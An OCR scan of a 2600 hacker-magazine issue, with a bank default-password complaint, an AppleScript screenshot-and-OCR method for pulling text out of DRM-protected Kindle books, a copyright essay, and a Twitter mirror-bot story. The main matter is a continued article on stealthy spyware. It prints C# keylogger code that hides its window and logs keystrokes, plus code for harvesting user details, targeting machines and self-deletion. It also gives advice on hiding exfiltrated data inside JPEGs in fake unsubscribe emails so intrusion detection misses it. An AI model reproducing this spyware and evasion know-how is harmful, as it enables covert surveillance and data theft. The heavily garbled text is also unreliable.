Ch•r-&Cteclta $13.80 

But here's what they didn't tell us \pparently. thcy have TotalNewet.fves $&&.75 
a $50 minimum on that plan. So while we only spent 21 
cents on a phone call, we're expected to pay unolhcr $49.79 for having the stupid plan in the first place! 
That. and the} charged us a late fcc while we were still trymg to sort this 11ut. so with all the surcharges 
and taxes, \\c're now flirting with $70 for a single one minute call to Connecticut. And we suspect they 
.\till ha\en't removed the phone line. despite our rcque\ls, so they can keep charging us. But that we 
expected. Some traditions die hard. after all. 

If lhi' continues. you're look.mg at our newest regular column. 
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by Anne 

Two years ago I opened a bank account 
with TD Bank in New York. As a person 
moving here from Germany, I was surprised 
at how easy it was to do so and how little 
information I had to give the bank in order to 
use their services. 

A few months ago, I traveled back to 
Europe and wanted to sign up for online 
banking. I went into the bank and asked how 
I could sign up for an online banking account 
and was instantly prompted with the question 
of whether I had an account with the bank. 
I affirmed that l did. The friendly person 
said that everybody with a bank account 
at TD Bank automatically has access to an 
online banking account. So I asked if they 
could show me how to access my account. 
We went to the website of the bank together 
and she asked me for my login information. r 
said that I didn't know my login information, 
nor which of my email addresses that I gave 
them, nor the password. 

She called a help line and they looked up 
my account information that I gave to them. 
It was an old email address that by that time 
was deleted. And now, here is the crazy part: 
they said that my password was "123abc". 

I changed it immediately and could not 
believe that this was intentional on my part. 
r checked my email account and saw that I 
had received an email from TD Bank two 
years ago saying "Thank you for your appli­
cation to use TD Bank Online Banking. We 
are pleased to inform you that your applica­
tion has been completed. Your User Name 
will be the email address you supplied during 
the enrollment process. Your initial Password 
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will be the last 6 digits of your checkcard 
number." 

This email alone makes it possible for 
anybody who can match your email address 
and bank card to access your online bank 
account. I told the story to a friend of mine 
who had just moved here from Berlin and 
she confirmed that when she opened a bank 
account with TD Bank, they gave her the pass­
word " 123abc" as her •·initial" password that 
she needed to change. 

Taking me as an example, a digital literate, 
growing up with the Internet etc., etc.. I 
U1ought to myself that there must be thousands 
of people in this country who do not know that 
they signed up for online banking and there­
fore thousands of online banking accounts 
have an open password. And even if they knew 
and never used the online banking account, 
their password would still be ''1 23abc''. I was 
amused that for a possible hack. you don't 
need to find the password. You just need to 
find the matching email address! 

TD Bank gave two ways to hack into 
online bank accounts. One way is Ule life 
hack, matching the email address and the 
card number by a person (in some cases, for 
example in a domestic situation. it doesn't take 
much to do so). They also made i t  possible to 
run a script with, let's say the most popular 
first and last names with the most popular 
email account server, let's say gmail.com, and 
run it with" I 23abc" as a password. I have not 
tried this and so I cannot speak from experi­
ence here and no data is available to me, but 
the possibility of entering an account with 
this combination even manually seems pretty 
high. This situation really seems like an open 
window type of scenario and it lets the mind 
wonder. 
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Hacking Amazon 
E-Books with 

Spy Style 

by bartitsu59 

Greetings from France. This article aims 
at giving you the opportunity to use your 
Kindle content as you like, but is not a way ro 
encourage sharing your books all over the net. 
I value creativity in all its forms and hope you 
will 11nd this little hack a bit creative too. 

It's possibly not the easiest way to do the 
task at hand, but it was really fun to set up and 
it does not involve any suspicious program or 
website. 

As an avid reader, J was immediately 
seduced by the possibility of saving some 
space and having all of my books fit in a neat, 
small e-book reader. This is true also for the 
2600 issues r bought, especially for the digest 
volumes, since I discovered 2600 quite late and 
it allowed me to enjoy previous articles that I 
did not have the chance to read until now. 

I have now nearly 200 books that I'm 
reading through two different models of 
Amazon's famous readers. 

But recently, I've been more and more 
concerned about the bond that is slowly 
forming between such a big corporation and 
my favorite leisure. 

What will happen if one day Amazon 
decides that my books should be upgraded 
to their new fancy format or be lost forever? 
What if  they decide that this upgrade will not 
be free? And should I lose all these books I've 
spent quite a lot of money for if l decide to give 
a chance to another e-book reader, such as a 
Kobo reader? 

Last but not least, I wanted to find a solution 
that is close to the Unix philosophy. 

A friend of mine advised me to have a look 
at online converters such as Zamzar, but I'm 
a bit paranoid - r don't know for sure what 

kind of metadata is hidden in the AZW format... 
maybe my reader's serial number, my client 
number, or anything that identifies clearly the 
device or the customer the book was bought for. 
And in that case, I would not be so confident as 
to potentially leave that kind of information on 
a website. 

Of course, there are offline tools such as 
Calibre. but this would infringe tenet eight of 
Unix philosophy: avoid captive user interfaces. 

So I decided I would try to capture the 
content of my books with oflline tools, and then 
convert each book into an open format. I found 
Markdown to be a valid option (mainly because 
it can quickly be converted to HTML. which can 
be handled by any device I have at home). 

The irony of this is that this hack will be 
done using a tool designed by another one of 
the GAFA members (Google, Apple, Facebook, 
Amazon), even if the principle that will be 
described in the coming few lines is not bound 

to any tool in particular. 

The Tools 
I'm in my 40s, and l recall seeing some 

action movies where a spy would usc a micro 
camera to capture information from confidential 
papers. This is more or less what T'm proposing 
to do here. 

So I am using Apple tools, as well as open 
source tools. 

The first tool that ! wanted to use is the snap­
shot function that is triggered whenever you do 
a CMD+SHFT+4 on Mac OS X. 

Fortunately, there is a corresponding 
command line utility, which is a good place to 
start - an AppleScript snippet - and i t  will be the 
heart of this hack. 

So you can do a: 
: screencapture shot . png 
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And you wiU have your screen captured 
into a png file. If you now submit this image 
to an OCR tool, like the free and powerful 
"tesseract,'' then your image will be converted 
into a text file, so let's try it with: 
: /usr/local/bin/ tesseract shot 
•. png text -1 eng 

This is how we will capture the text from 
our book, but I now need someone to tum the 
pages while I'm taking the pictures, right? 

Fortunately, AppleScript can be really 
helpful here, but of course feel free to adapt 
this technique to any scripting tool that suits 
your needs. 

This first step complies with the sixth 
precept of the Unix philosophy: Use software 
leverage to your advantage. 

Preparation 
The first thing to do is to ensure full read­

ability is given to tesseract. This is quite easy 
- you just need to open the Kindle app before 
running your script, and maximize it. You can 
also enter the "View Options" menu to choose 
a bigger font. 

Then I suggest you deactivate all readings 
on screen that are not part of the book itself. In 
particular, please disable the popular highlights 
in the Settings tab. 

Finally, you can hide the toolbar by right­
clicking on it and choosing the relevant option. 
Nothing but the text of the book should now be 
displayed on-screen. But wait, we still have the 
progression data: number of pages, percentage 
read, and the other metrics I never understood 
(location). 

So we will need to tell the screencapture 
tool to limit the capture to a restricted portion 
of the screen. To do this, I suggest you usc the 
screen capture shortcut (CMD+SHFT+4). Then 
your mouse pointer will change to a crosshair 
with coordinates ncar. 

Use this to determine the useful area of text 
that will be analyzed by the OCR tool (in my 
case (150, 0, 1300, 850) was fine) and note it 
somewhere. 

Scripting 
It's now time to open the script editor and 

chose a meaningful nan1e for our script. I 
would suggest "screwDRM.scpt." 

The first hurdle to overcome is to tell our 

able to flip pages automatically. 
After a while ofGoogling, you will find that: 

: tell applicatj on "Kindle" to 

• activate 

tell application "System Events" 
key code 124 

end tell 

does exactly what we want. This is really the 
key feature of AppleScript that makes this trick 
possible. I will let you find an equivalent feature 
for your OS of choice, but Microsoft gives you a 
hint if you want to do the same with Powcrshell: 
https : / /techneL . microsoft . com/en 
.. -us/library/ff730976.aspx 

Wrap this into a "repeat loop" and the pages 
will be flipped for you. 

The next step is dead simple - we just need 
to call in sequence screencapture and tesseract to 
capture the text on the fly: 

: set shellCommand to "screencap 
.. ture -R 150 , 0, 1300, 850 -T1 -m 
.. /Users/Jerome/ebooks/ "  & i & 
.. " .png" 
do shell script shellCommand 
delay 1 

set shellCommand to "/usr/local/ 
.. bin/tesseracL /Users/Jerome/ 

•ebooks/" & i & " .  png /Users/ 
.. Jerome/ebooks/" & i & " -1 eng" 

do shell script shellCommand 
delay 1 

You will probably notice the ·'-TI" that tel!>, 
screencapture to take the picture after a delay of 
one second. Also. you will notice the explicit 
"delay I" instructions after the screen capture 
and after the OCR. 

I've put this in to allow time for my Mac to 
do each step. Since this involves some compu­
tation and quite intense 10 operations, it makes 
sense in my opinion (I guess it could be shon­
encd with a fas ter CPU and an SSD drive). 

Of course, I also specified to tesseract the 
dimension of the screen to be captured (with 
the "-R" option) that I detem1ined during the 
preparation. 

Even if it could rely on more open tools (I'm 
counting on clever Linux users to fix that), thi� iJ, 
a nice way to comply with the seventh principle: 
Usc shell scripts to increase leverage. 

script to activate the Kindle application while Ending Our Script and Cleaning Up 
the latter is maximized and try to send it a The last difficulty I have overcome is the 
''Right Arrow" keyboard event, to see if we are detection of the end of the book. First. l started 
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with an estimauon of the number of pages, 
which I used for my ·'repeat loop." 

For example. I would count the number of 
pages I would flip until I got to 10 percent read ­
say 23 - and would then estimate the number of 
pages to be captured to be 250. and would write: 

: repeat with i from 1 to 250 
tell application 

� "System Events" 

end tell 
end r-Ppeat 

I admit it was not very clever, but it worked 
until I could find a more acceptable solution. 

l wanted to stick to pure scripting tech­
niques. in the tradition of Unix scripts. As we 
are producing pure text files (lifth principle: 
'tore data in flat text files), we basically need 
to compare the current text file being processed 
and the last one produced just before. If the 
two Iiles are identical, it will then mean that 
we are at the end of the book with no more 
pages to flip. You can easily do that with the 
Unix command "diff' that tells the differences 
between two files. 

So, all we need is to "diff' the last two files 
and tind a way to capture the result, so that 
two Iiles reported as identical would break the 
processing loop. Fortunately. diff returns an exit 
value depending on the result of the comparison. 

ln an AppleScript, an exit value difference 
of zero means that there is no error, so all we 
need to do now is to usc a ''try" statement to 
break the loop if no error happens. 

Wait. .. no error? Yes indeed. since an error 
will be triggered a!> long as the files compared 
differ, we want to break the loop only if the files 
are identical, i.e., if no error happens (exit value 
0, interpreted as "no error" by Applescript). 

Th1s leads to the final version of our script: 

:tell application "Kindle" to 
� activate 
repeat with i from 1 to 999 

tell application "System 
� Events" 

key code 124 
set shellCommand to 

"scre�ncapture -R 150, 0 , 1300 
�. 8 5  -Tl m /Users/Jerome/ 
�ebooks/ " & i & " . png" 

do shell script 
� shellComrnand 

delay 1 
set shellCommand to 

� "/�rr/local/bin/tesseract 

� /Users/ Jerome/ebooks/" & i & 
� " .png /Users/Jerome/ebooks/" 
� & i & " -1 eng" 

� shellCommand 
do shell scr�pt 

delay 1 
try 

do shell 
• script "diff -q /Users/Jerome/ 
� ebooks/" & i & " . png /Users/ 
�Jero:'le/ebook::./" & ( i  - 1) & 
• \' . png" 

exit repeat 
on error 

f last 
� images are different so 
� continue 

end try 
end tell 

end repeat 

At the end of this, you might add a clean up 
phase, consolidating all of the .txt files into a 
single one and deleting the .png files, but that 
require that you add a statement with adminis­
trator privileges at the end of each "do shell" 
script. 

Furthennore, we cannot clean the files at 
each iteration. since we rely on the result of the 
previous iteration to detect the end of the book. 

I prefer to execute the following three state­
ments in a regular terminal window: 

: for i in { 0  . .  9 9 9 } ;  do rm "Si 
�. png"; done 
for i n (0 . . 999}; do rm "Si 
� .png"; done 
for i in { 0  . .  999 } ;  do cat "Si 
�.txt" >> book.txt; done 

Conclusion 
Of course. as OCR is never perfect, you 

need to do a bit of proofreading after that, and 
to replicate the original layout (cover, titles, 
formatting, etc.) in Markdown (or whatever 
format you prefer). 

But all in all, the possibility of reading a 
book even on an old 300M Hz FreeBSD laptop 
is a nice addition (with a homemade program in 
Scheme that converts the book from Markdown 
to IITML). 

Feel free to use this hack for useful tasks, 
but I would be equally satisfied if it inspired 
new hacks with a similar approach. 

This is what I like about hacking: the ability 
of finding alternative ways to do things, with a 
supplement of fun or creativity. 
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Copyright Is Not a Trump Card 
by Elliot Harmon 

The FCC is about to mal..c a decision about 
whether third-party compan1c' can market their 
own alternatives to the set-top b<1xc' provided 
by cable companies. Under the proposed rules, 
instead of using the box from C'omcast, you 
could buy your own from a variety of different 
manufacturers. It could even have features that 
Corneas! wouldn't dream of. lil..c letting you 
\ync your favorite shows onto your mobile 
phone or search across muhiple free-TV, 
pay-TV, and amateur \ ideo sites. 

When people have tall..ed about the "Unlock 
the Box,. proposal, it\ mainly been about 
how the rule would stimulate competition. 
It's a basic principle of economics thlll when 
companies have to compete for your money. 
the product improves. That's why we have anti­
trust laws preventing companies from attaining 
unfuir monopolies. If your cubic company 
has to compete with other set-top box manu­
facturers, then they'll have to create a better 
product. 

This isn't jw.t about healthy competition. 
though. It's about much more. It\ about how 
much control we let big content owners have 
over our day-to-da) li\'es. It\ about \\here ,.,.e 
draw the line between freedom of expression 
and copyright infringement. 

Let's take a step back. In 1984. the Supreme 
Court ruled that making a complete copy of a 
television show for the purp<lses of watching it 
later doesn't constitute copyright infringement. 
Consumers were buying VCRs for the first time 
and big content companies were terrified. But 
the court said customer' had the right to cop) 
television shows for their personal use. 

Fourteen years later. Hollywood had a new 
tool in its belt: the D1gital Millennium Copy­
nght Act. The DMCA mad.: it illegal to b)pa!>!> 
digital rights management CDRMJ technolo­
gies. even when you're bypass111g them for a 
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completely legal reason. Courts interpreted the 
OMCA to mean that con,umers can't mal..e 
copiel. of DVO!. for their own purposes. That'� 
why your old VCR can make copies and your 
new DVD player can't. Consumers should be 
able 10 do more with newer technologies. When 
we moved from VIIS to DVD, users' rights 
took a big Mep back. 

Now we're in a new em, and the FCC has 
the opportunity to get it right again. Not �urpris­
ingly, Hollywood ha� come out in full force. 
The cable industry and big content owners ha\'e 
put a lot of pressure on the FCC to tum its back 
on the new rule. Their arguments essentially 
amount to: You can't do what you want with 
TV that you paid for bccau�e copyright. 

To entertainment indu!>try lobbyists. copy­
right is SOI1 or like the Black Lotus card - it's 
stronger than everything else in the deck. 
Copyright owners get to choose how, where, 
and when you consume their programming. 
and what hardware you u�e to do it. Like the 
Blacl.. Lotus card. that kind of reasoning ruins 
the game. 

It's easy to ..,ee the absurdity of cable compa­
nies' argument ... Imagine if a cable network 
tried to require that vicwen. watch its programs 
on a 42-inch television. or if a book publisher 
made you sign an agreement that you can only 
usc a certain brand of light bulb to see its books. 
By design, copyright grants rights holders a 
specific and limited set of rights to their works 
- it docs not give them the right to auach unlim­
ited string<, to others' u .. e of those works. 

Whenever you '>ee companies and lobbyists 
trying to e>.pand copyright into every policy 
decision. rem.:mbcr: e'ery time copyright 
expands. 11 mean\ that an activity that was 
lawful b.:forc hccome!> unlawful. When we 
broaden copynght. we're paying for it with our 
own freedom of speech. 
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ATTENTION LIFETIME SUBSCRIBERS! 
I f  you want to receive annual digital digests instead of- or in addition t o - your quarterly paper 

issues,thi� ts now possible without having to buy both at full price. For $100, we will sign you 

up for the lifetime digital digest plan as well (once we verify that you nrc an existing lifetime 

subscriber). You will receive all of the digests that have already been released (Volumes 1-10 

and 25-3 1) plus five newly released ones each year, and one per year once all of the back issue 

digests have come out. JU',t visit the downloads section at store.2600.com and sign up! 

Since we take the word "lifetime" quite seriously. we will not cancel your existing subscription 

as long a.� you are still living. However. if you really don't want to get paper issues anymore. 

simply tell us this and you can transfer your subscription to someone else on our newly created 

lifetime waiting Jist. (It\ like an organ donor waiting list but a whole lot more pleasant.) And 

you'll feel grcar having donated your remaining paper i�'>ucs to someone who wouldn't have 

gotten them otherwise. Full detaib can be found at our store. 

&rt� r; � � oo���(fw 
�®� rJ � �(f���� 

If you answered yes to both questions, you belong to two rare groups of people. 
And odds are you have some really interesting things to say. 

Here at 2600, we're always searching for new voices and subject matter. As 
hackers. we believe in open disclosure of any type of security vulnerabilities (real 
or theoretical) and an enthusiastic approach to all forms of technology. And we're 
not afraid of controversy. It's what we've been doing since 1984. 

Never written an article before? Don't worry. You don't have to be Shakespeare. 
(In fact, we'd prefer it if you weren't.) If you get the basic concepts of sentence 
structure and punctuation, we have editors standing by who can fix any grammar \ issues and make your piece something you'll be proud of. 

Subject matter? Please. Look around you. Technology is everywhere. Security, 
privacy, getting around restrictions, thinking outside the box .... All you need do is 
find something you're interested in that everyone around you probably thinks is a 
waste of time. Remember to have that hacker mindset in place when you put pen ......., 

to paper (or however people write these days). 

Send your articles to articles@2600.com. We accept long articles. We accept 
short articles. And the ones we print live forever in the hacker world. ; /""" 
(Printed articles will get you a free t-shirt, subscription to the magazine, or a year 
of back issues.) 
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This article is continued from page 20 
In this section, I wall explam \Omc general approachc� to rcntlcnng \pywarc less susceptible to 

detect ion. As with the preceding \Cction, l will abo provide �pccific code \Cgmcnts where appmprimc. 
clau l Consolo�eyL.oggcr 

{ 

21 
24 
25 
26 
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28 
29 

I !3 
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32 
n 
34 
n 
36 
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.39 
43 
41 
42 
43 
"" 
.. � 
46 
47 
48 
49 
w 
�I 
52 

private co<at int Wi_KEYBOAAO_LL 13; 
private const int W'I_KE�t • 9x01&0; 
private static lowlr!!\itlKeybolrdPr _proc • HookCallback; 
private static lntPtr _hookiO • I f r.Zero; 

public stotic void HortKeylo81ler() 

{ 
var handle • �tConsol.Windaw(); 

II HI� 
ShoooWindow(handle, SW_HID£); 

_hookiO • Srtttooi<(J>ro<:); 
Applicetlon.Run(); 
UnhookWindows._kf • (_ hookiD); 

private static l"tPtr SettloOk(LowtevdKoyboardProc proc) 

{ 
using (Process curProcess • Process. Ge-tCurrentProc�u ( )) 
usins (Proc� !.Module curModul� • curProcess.,..,.in1"todule) 

( 
retur-n SetWindows.HookEx(hH_.CEYBOARD_ll, proc, 

GetModule!Qndle ( curtlodule .HoduleN-), 8); 

prlvne del�•te I�tPtr LowtcwlKeyboardPn>e ( 
int n<ode., IntPtr wPar•, Jntptr lParM); 

private static 1 tptr tloOkCdlback( 
int nCode, IntPtr wPar-•, Intptr }Parae) 

if (nCode >• e && wP•••• •• ( tntptr)lofi_KfYOOWN) 

{ 

} 

int vkCode • 114rshol.Readint32(1Par.,.); 
Console. Wrltel ine( (Koy•)vkCod"); 
Strudlrher sw • nN Strelldlriter(AppUcnUon.StortupPeth + (1"\log.txt", true); 
sw.Write( (Keys)vkCodt); 
sw.Close(); 

rrtu,.n CallHf>xtHookEx(_hookiO, nCode, .,.,.., lPI�"M); 

figure 6 - Key Logga 

Spane Infection 
The fi rst suggestion is a tucllcal approach to '>pyware, rather than 'pccilit coding. A sparse infection 

virus will only be active intermittently and for short periods. The goal b to reduce the opportunity for 
detection of the virus. In the case or mal ware used in cybcr warfare and cybcr c�pionage, the mal ware 
author should always consider spar'c infection. The timer mentioned earlier as well as using a pseudo 
random number generator arc both upproaches to creating sparse infector spyware. Both the capture of 
data as well a� the cxfihration or that data can be done using the 'par\C infector approach. 

llitling Transmi.uion 
A more substantive 1\We i' ho\\ to e:dihr.ne data such that the tr.tnsmi,sion b not readily detected. 

Many or the utilities used in the hacking community communicate on 'pccific port,. If the malwan: 
uliliLes a standard communication port. it is less likcl} to be detected Malware that utilizes ih O\\n 
'pccific port can be detected based on the utiliJ"ation or that port :alone Furthermore. general commu­
nications ports arc less likely to bc blocked by firewalls. 
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88 } 

[Dllleport("user32.dll", CharSet • et.Auto, SetlastError = true)] 
private static ext:ern Ir•tPtr SetWindowsHookEx(int idHook:, 

ow evelKeyboardProc lpfn, ��d, uint dwThreadid); 

[Dl1Import("user32.dll", CharSet • C�a Set.Auto, SetLastError = true)] 
[return : �ar nalAs (UnmanagedType .Bool)) 
private static extern bool UnhookWindoosHookEx(IntPtr hnk); 

(Ol1Import("user32.dll", CharSet • Cha et.Auto, SetlastError = true)) 
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, 

IntPtr wParaoa, IntPtr lPara11); 

(Dl1Import("k:ernel32 .dll", CharSet s et.Auto, SetlastError = true)] 
private static extern IntPtr Ge�duleHandle(string lpModuletlame); 

[011Import("kernel32.dll")] 
static elrtern IntPtr GetConsoleWindow(); 

[Dlli port("user32 .dll")) 
static extern bool ShOWWindow(I tPtr hWnd, int nCadShow); 

const int sw_HIDE = 8; 

Figure 7 - Key Logg('l' Code Continued 

"'tr ina syt.N....e: • 
�trins sys.User • , 
ur ins usrrGroups • .... ; 
"'trina Authent:ic•tlonType • •·; 
systu. • Syste..�cudty.Princlp•l. Uty.Catt(u,.rent().�. To.Stl"ina(); 
sysUser • Syst ... Security .Prind.,.l. I rrt1ty.6otCurrent() .User, ToSVin&(); 
user6roup)• syste-. s.tcurity.PdncipAl.Windaw ldel"'tih .�tcurrent.() .(if'oups. ToStrlns(); 
AuthentlcetionTyp� • Syst ... S�curity.Prindpd d Id• it .G•tCurrent() .Authenticationlyp•. ToStrinJ{); 

Figure 8 - Gmlleri11g User lllj(mnaricm 

The SANS lnstilllte (SANS. 20 16) ha� a lengthy list of well-known spy ware/Remote Access Trojan 
pons. Some use ports th:u are often used by other well known protocols. for example 

Fire Hacker uses port 23 (Tel net) 
Ema1l Password Sender usc� port 15 (SMTP) 
CGI Backdoor uses port RO (IITIP) 
Other spyware and remote access TroJans usc their own port. For example: 
Remote AdminiStration Tool RAT u ses ports 1095-1098 
KAOS lJSi:S port 1212 
Timbuh.tu uses port 407 
Exfiltrating data usmg a common communication' port is mor�: cffecll\e. The traffic is more like!) 

10 appear to be innocuous. Ho,�ever, if mtli\ idual packets arc examined. for example. by an Jmru,ion 
Detection System (IDS). then the cxfiltrat•on still may be detected. 

Therdore. I suggest an alternate mcthoclolog) I recommend utili1ing standard email gomg out 
on port 25. and do 't) actuall) using cma1l. h is pos'ible to use port 25 for something other than 
SMTP (Simple Mail Transfer Protocol). But if packets arc bcmg analyzed. then this would be suspi­
cious activity and likely 10 be detected. Certainly other spyw;m�/rcmotc access Troj:ms have done thi�. 
ho,vever the content of the email is the i"ue. Sending an email from the target machine is not complex 
and hru. ocen described in the fiN half of thi'> article 

However. I recommend augmenting th1s process such that the email itself- its destination address 
and content - are not su,piciow •. I recommend scttin� up a Gmail (or !>imilar) account that has a name 
related to spamming A generic email like rcmoveme(a gmail.com, unli,tme@ gmail.com, or )OU can 
u �e a name ao,-.ociated with a real entity wdl known lor 'pamming. The subject line will state "Remove 
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Me:· In thh way. any lmrw.ion Detection SyMem or other momtonng �oft ware would see the outgoing 
email a� simply a reque'>t to be removed from a spam list. This should :1ppear to be routine traffic and 
not �u�p1cious. 

Once the destination i' �t �o that 11 appears to be routing email trartic. the next issue is the comcnt 
of the email. It is ineffective to simply place the data into the body of the email or to attach scrccnshots. 
This would likely trigger a well conligur�:d Intrusion Detection SyMcm. The email body will be a reply 
to a standard spam email. llowcvcr. the portion of the email that purpc.)rLs to be the original spam that 
the user is asking to be removed fmm could have a logo that is a JPEG image lite. The data to be ex li l­
t rated will be stored within that JPEG using steganography. This makes the outgoing email appear to 
be a rc�ponse to spam from �orne company, and the response is a routine request to be removed from 
the email list. Even direct and careful examination of the email content will not reveal any suspicious 

activity. 

Targeting 
Another issue with stealth �� to ha\'e malware that targeh a <,pccific individual or organizmion. 

M;tn} infamous :.pyware outbreaks. such � Stuxnet and Flame, became public knowledge because 
they infected many more mach1ncs than anticipated. The issue 1\ to identify the domain or individual 
user. Advanced spyware technologies may provide more than one method for .accomplishing this goal. 
There arc techniques available now which allow for the detection of both the domain and the u�er. 
These techniques should be :1daptcd for u se in targeted spywarc. If the spywarc should happen to be 
copied to <1 machine that is not the tnrget of an investigation, the software can cease spyw.are activities 
and simply lie dormant ,  or even self-destruct. 

It is relatively simple to determine the domain on a Windows computer. Since at least the release of 
Windows 2000. it is poss1blc to query the computer to determine what domain it is a part of. The Micro­
soft Developer Network provides a code example that can accompli\h this task (Microsoft. 2014}. 
However, that code example i\ large. perhap� too large for mal ware applications. Figure 9 has code that 

shows a 33-line function (including wh1te\pace} that accompli\hes the same goal. This code is in C++. 
This code identifies the domain a' well � individual machmc. Th1s makes 11 relatively easy to 

compare one or both of tho� propcrt1e., against a target list and. if necessary. abort the attack. Thi� 
code will function on computer�> running Windows 2000 or later. There are certainly other methods 
for accomplishing this goal (Barber, 2006}. In the case of law enforcement agencies. the spywarc 
can remain inert or even self-destruct should it be accidentally introduced to a machine that is not the 
subject of a valid warrant. 

Se/fDesrruction 
To further reduce the chance of detection. the spyware should self-destruct if the system is not 

on the wrget list. There arc other triggers that might induce the self-destruct sequence. One being the 
e\piration of a valid search wammt. The following image �how' a simple self-destruct function that 1\ 

common and. in f;act, very similar functions can be found on various web p;ages. This code is written in 

C++ ;tnd 1s relatively short, making it ideal for malwarc purposes. 
The code above is only one possible approach to self-destruction. There arc myriad other poss1blc 

approaches. One trivial example is to uulize a simple batch file that executes del from the command 
line, or similar BASH commands from a Linux shell can also be used. The key IS for the loader port1on 
of the malware to detect the parumeters ofthe target machine and to dc.:tcrminc if that system is on the 
target list. If not, the attack should be aborted and Lhe malw.are should self-destruct. thus reducing the 
opportunity for the attack to be detected. 

Conclusions 
While malware creation was previously the domain of cyber crimlllals. it b now a wc.apon used in 

a variety of connicts and in c�pmnage. Spyware. in particular. i\ useful in investigations that require 
thl! monitoring of the rarger \ computer communication. Spywarc can also be used to legally monitor 
minor children or employees on a company network (with some limitations depending on your juris­
diction). It is impo11ant that 'PY'�arc be both effective, and difficult to discover. This article introduced 
you to some tcchn iquc� :111d concepts that would facilitate both goals. Combining the various tech­
nique� pre�ented here, it is r<>,siblc to h<�ve a software module that consi,ts of fewer than 500 lines of 
code. making this very easy to either embed 111 other software or to creme a small executable. 
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E��t1ne _wtN32_WINNT exesee 

! [•includ� <windows. h> 
4 Unclude <stdio.h> 
5 •include <tchar . h> 
6 
7 Evoid _t:.ain(void) 
B { 
9 TCIIAR buff�r(256) • TEXT(""); 

10 TCHAR nDescription(8)[32) • {TEXT("N�t8ID5"), 
11 TEXT("OIIS hostn..,.,"), 
12 TEXT("OIIS douin"), 
13 TEXT( "ONS i'ully-quali fied"), 
14 TEXT("Physical NetBIOS"), 
15 TEXT("Physical ONS hostname"), 
16 TEXT("Physicol OilS dOIUin"), 
17 TEXT("Physical ONS fully-qualified")}; 
18 int cnf • e; 
19 OWORO dwSize • slzeof(buffer); 
20 
21 for (cnf • 0; cnf < CCBputerNalld'lax; cn1'++) 
22 { 
23 if ( !GetC�uterN-Ex( (COHPUTER_NAME_FORM4T)cnf, buffer, &ch<Siu)) 
24 { 
25 _ tprintf (TEXT( "GetC""Pu1:erflameEx failed (Sd) \n"), GetLestError()); 
26 r�turn; 
27 } 
28 eh� _tprir>tf(TEXT("S.· ls\n"), =="""'"--'=·-
29 
39 
31 
)Z 
33 

dwSlze • _countof(buffer); 
Z�r-ry(buff�r, dwSize); 

Figure 9 - Identify the Domain 
"' ld SdfDe•trurt() 
{ 

TCHAR uModuleNaooe[W.X_PATH]; 
TCHAR uc.d(2 " IWC_PATH]; 
STAATUPINFO si • {t} ;I 
PROCESS IHFOift\TlOH pi • {8}; 

GetflodulefileNaooe(HUll, szlloduleNaiiC!, MAX_PATII); 

CreateProcess(NULl, nCood, NUll, NUll, fALSE, CREATE_ NO. WINDOW, llUll, NUll, &si, &pi); 

Closetlondle(pi.hThreod); 
Closelland le(pi. hProcess); 

Figure 10- Self Destruction 
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A Parallel President 
on Twitter 

by Richard Vardit 

Over lhe past 12 year-. in Argentina. we had 
two pre�idents: first Nestor Kirchner for four 
year-.. and then his \dfc Crio,tina Kirchner for 
another eight years In those past eight year-.. 
not one single press conference has been given. 
She used Twitter as a one-way propaganda 
instrument by blocking anyone who wa� not 
100 percent in agreement with her opimon. in a 

kind of censorship. 
By the end of 2014, I discove red that the 

President had blocked me on '1\viucr on her offi­
cial account: @CFKArgcntin:l. It is as unfair as 
it sounds: I couldn't :.ec what the pre�idcnt of 
my country was tweeting. nor reply. rctweet. or 
even quote. After r.omc research {by thai I mean 
a Twitter search: ··(fi CFKArgenuna blocked 
me"). I found that many mtlre people were in 
the same situation. 

So I decided to create a Twiuer ;account that 
replicated in real time the same tweets as what 
the official presidential account was tweeting in 
order to bypass the restrictions produced by this 
blocking behavior, which is the closest thing to 
censorship in a democracy. The account that 
solved this problem wa!> called (U hosepink. 

After a month online. this account received 
tl1ousands of follower-. includ111g joumal­
bts. economists. anists. and other political 
parties opposed to the current reg.irn:. using 
it to retwcet. quote, and make comments as 
the tweets were exactly the same tweets as @ 
CFKArgentina without the blocking issue. 

The account became a call to freedom of 
speech on Twitter. even with the knowledge 
that @hosepink was just H bot. The users 
created a parallel community with replies. 
quotes. and retwects through the tweets of this 
pamllcl president. Tile growth of the account 
occurred through u\cr recommendations - one 
to another. I could sec all kinds of mentions 
saying lhmgs like .. hey bm follow <i! hoscpink 
if you want to see what Cristina is tweeting:· 
etc. Thi!. also enabled the retwects of JOUrnal­
ist� and other influential people that had been 
blocked from the main account w be seen once 
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they were following @ho:,epink rather than @ 
CFKArgentina. 

Tile new account reflected more honest 
opinion with each comment, because the users 
tweeted without fear of being blocked. It's 
human nature to embrace such a total freedom 
of l>J)CCCh. 

Now Argentina's e"-president @CFKAr­
gentina is still tweeting to her group, calling 
for resistance againM the current democratic 
government and blocking retractors. so the 
account @lhosepink is still working online, 
showing that there is no power greater than 
knowledge power. 

The Next Step 
In December of 2015. Cristina Kirchner's 

populist regime lost the elections after 12 years 
in power. The political follower!> of lhis govern­
ment. known a:-. "K:· organized themselves into 
a resistance aguinst the new democratic govern­
ment. So the group became even more fanatical. 
After reading soml! tweets and thinking about 
the rhetoric of their super-devoted political 
followers. I decided to create a Twitter bot who 
was actually one of them. using psychological 
positive reinforcement. 

How'? I picked influencers including poli­
tician\, JOUrnahsts. artisb. businessmen. and 
workers' union rcprl!scntatives who were blmd 
followers of Cristina Kirchner. I picked those 
who were so deeply involved in corrupuon 
ca�es while they were in government that they 
couldn't just go away or change their minds. 

Now having the inlluencers list, I created a 
bot thlll said exactly the same things they did 
with minimal changes, just by reading their 
tweets via a '1\vittcr API nnd broadcasting them 
all together in one account called @CFKGate. 
After this account had been online for three 
month>, 11 had gamed a couple of thousand 
follower-. and was growing every day - over 
15.000 daily tweet 1mpressions and 6.000 
ret\�eeb in the last month alone. 

What actually surprbed me was that some 
of the influencer-. I mentioned before in the I ist 
who were responsible for generating all of the 
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content in my account were actually following � CFKGate! Not only that. but they did likes and 
rctwects of their own created tweet�. promoting and intcmcting with the account (r Crl<Gate a� 
they believed that''!" agreed with them when the reality is thai they only agreed wtth themselve�. 

At this time, @lCFKGate is in constant growth and she ha� become a successful devoted polit 
ical follower who is being invited to panicipate in meetings via direct messages. The conclusion is 
that ! created a bot who is as sman as a fanatic political follower \\ilhjust a few kilob)tCs. 

What's next'! Who know\, maybe with some megabytes I might create a Twiller bot as intel­
ligent as a dog. 

!Jere is the mirror bot PHP code: 

.'php 
